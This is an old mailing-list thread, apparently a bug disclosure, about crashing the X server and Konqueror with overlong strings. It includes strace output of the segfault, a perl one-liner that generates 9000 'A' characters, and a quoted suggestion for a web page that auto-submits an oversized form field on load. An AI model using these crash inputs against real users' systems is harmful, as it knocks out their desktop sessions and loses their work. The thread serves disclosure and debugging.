Re: Crashing X

[KF <dotslash () snosoft com>]

I reported a similar issue several months ago... I was seeing X crash 
via xterm -title `perl -e 'print "A" x 9000'`
and also with html web pages with long title tags... Heres some strace 
snippits. I am on a ppc linux box Mandrake 8.0

root 1927 1389 3 12:17 ? 00:00:03 /etc/X11/X -deferglyphs 16 -auth

[root@ibook root]# strace -o Xdebug.txt -ivfp 1715
1715  [0fea59dc] writev(11, 
[{"\26\0)T\0@\2(\0@\2(\0\0\0\0\0\0\0\0\0\205\0\26\0\0\0\f"..., 224}, 
{"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 6000}], 2) 
= 6224
1715 [0fe987d8] read(11, 
"8\17\0\5\0@\1\222\0\10\0\10\0\0\177\377\0\0\0\0008@\0\4"..., 6624) = 6624
1715 [0fe9e980] brk(0x10617000) = 0x10617000
1715 [0fe987d8] read(11, 
"\0A\0A\0A\0A\0A\0A\0A\0A\0A\0A\0A\0A\0A\0A\0A\0A"..., 9988) = 9988
1715 [1031f26c] --- SIGSEGV (Segmentation fault) ---

1715 [0fe091b0] rt_sigaction(SIGSEGV, {SIG_IGN}, {0x1003d664, [SEGV], 
SA_RESTART}, 8) = 0
1715 [0fea577c] ipc_subcall(0, 0, 0, 0x30848000) = 0
1715 [0fe987e8] write(2, "\nFatal server error:\n", 21) = 21



This was a bit earlier on in the strace
1715 [0fe987d8] read(11, 
"\24\0\0\6\2\0\0\16\0\0\0017\0\0\1\'\0\0\0\0\0\0\10\0", 6624) = 24
1715 [0fea59dc] writev(11, [{"\1\10)\26\0\0\10\0\0\0\1\'\0\0\3(\0\0 
\0\0\0\0\0\177\377"..., 32}, {"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 
8192}], 2) = 8224
1715 [0fe987d8] read(11, 
"\24\0\0\6\2\0\0\16\0\0\1;\0\0\0\4\0\0\0\0\0\0\10\0", 6624) = 24

And before that
1715 [0fe987d8] read(11, 
"\24\0\0\6\2\0\0\16\0\0\0\'\0\0\0\37\0\0\0\0\0\0 \0", 6624) = 24
1715 [0fea59dc] writev(11, 
[{"\1\10)\v\0\0\10\312\0\0\0\37\0\0\0\0\0\0#(\0\0\0\0\177"..., 32}, 
{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 9000}], 2) = 9032
1715 [0fea59dc] --- SIGALRM (Alarm clock) ---

and before that
1715 [0fe987d8] read(11, 
"\24\0\0\6\2\0\0\16\0\0\0017\0\0\1\'\0\0\0\0\0\0\10\0", 6624) = 24
1715 [0fea59dc] writev(11, [{"\1\10)\6\0\0\10\0\0\0\1\'\0\0\3(\0\0 
\0\0\0\0\0\177\377"..., 32}, {"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 
8192}], 2) = 8224

Then this is mme running xterm in the VERY begining.
1715 [0fe987d8] read(16, 
"\24\0\0\6\2\0\0\16\0\0\0\"\0\0\0\37\0\0\0\0\0\0\'\20", 4096) = 24
1715 [0fea59dc] writev(16, 
[{"\1\10\20\315\0\0\10\316\0\0\0\37\0\0\0\0\0\0#6\0\0\0\0"..., 32}, 
{"xterm\0-title\0AAAAAAAAAAAAAAAAAAA"..., 9014}, {"\0\0", 2}], 3) = 9048
BBBBBB


these are the X processes running
root 1389 1 0 12:13 ? 00:00:00 kdm
root 1927 1389 1 12:17 ? 00:00:08 /etc/X11/X -deferglyphs 16 -auth 
/var/lib/kdm/authfiles/A:0-KE8CBg
root 1928 1389 0 12:17 ? 00:00:00 -:0
root 1945 1928 0 12:17 ? 00:00:00 /bin/sh /usr/bin/startkde
root 2027 1 0 12:17 ? 00:00:00 kdeinit: dcopserver --nosid
root 2030 1 0 12:17 ? 00:00:00 kdeinit: klauncher
root 2032 1 0 12:17 ? 00:00:00 kdeinit: kded
root 2038 1 0 12:17 ? 00:00:00 kdeinit: kxmlrpcd
root 2041 1 0 12:17 ? 00:00:00 /usr/bin/artsd -F 5 -S 4096 -b 8 -s 1 -m 
artsmessage -l 3 -f
root 2046 1 0 12:18 ? 00:00:00 kdeinit: Running...
root 2056 1 0 12:18 ? 00:00:00 knotify
root 2057 1945 0 12:18 ? 00:00:00 ksmserver --restore
root 2058 2046 0 12:18 ? 00:00:00 kdeinit: kwin
root 2060 1 0 12:18 ? 00:00:01 kdeinit: kdesktop
root 2062 1 0 12:18 ? 00:00:01 kdeinit: kicker
root 2066 1 0 12:18 ? 00:00:00 kdeinit: klipper -icon klipper -miniicon 
klipper
root 2069 1 0 12:18 ? 00:00:00 kdeinit: khotkeys
root 2070 1 0 12:18 ? 00:00:00 kdeinit: kwrited
root 2071 2046 1 12:18 ? 00:00:04 kdeinit: konsole -icon konsole.png 
-miniicon konsole.png
root 2072 1 0 12:18 ? 00:00:00 alarmd
root      2073  2070  0 12:18 pts/0    00:00:00 /bin/cat

-KF


John Scimone wrote:

> If this is true couldn't a malicious website simply set the initial value of 
> the form then use javascript to submit it upon loading the page causing the 
> clients X to crash?
>
> ie.
>
> <input type="text" value="(9000 A's)">
>
> and have a body onload=document.forms[0].submit()?
>
> John Scimone
> CS Major @ Ga Tech
>
>
> On Friday 07 December 2001 04:26 pm, you wrote:
>
> > I have discovered a little bug in K Desktop 2.1.2 that crashes your X
> > Server.
> >
> > By using the konqueror web browser and inputting around 9000+ A's (or
> > whatever) into a search box (for instance www.yahoo.com's web search box) -
> > this will crash your X environment.
> >
> > I have successfully done it using 9000 A's on one search box (crashing X
> > instantly),  then I used 90'000 and it also worked - but without immediate
> > effect (took a few seconds).
> >
> > It also sometimes seems to work by just pasting 900000 A's into a search
> > box and before it even displays the A's X crashes.  (note: If you want it
> > to display the A's before X crashes paste 9000, then as soon as you click
> > to start the search - its bye bye X).
> >
> > Sorry but I can only test it on KDE 2.1.2, because I have no other systems
> > available right now.
> >
> > By the way:
> >
> > [smackenz@mainframe smackenz]$ uname -a
> > Linux mainframe 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknown
> > (Rehat 7.1)
> > (KDE 2.1.2)
> > (this works in Gnome and KDE using with the konqueror web browser)
> >
> > To test simply use a shell and type:
> >
> > perl -e 'print "A" x 9000'
> >
> > Then copy these, and paste them into a search form.
> >
> > Also I tried this in netscape and it didn't work so it suggests its a
> > konqueror error somewhere or other.
> >
> > Cheers
> >
> > Scott Mackenzie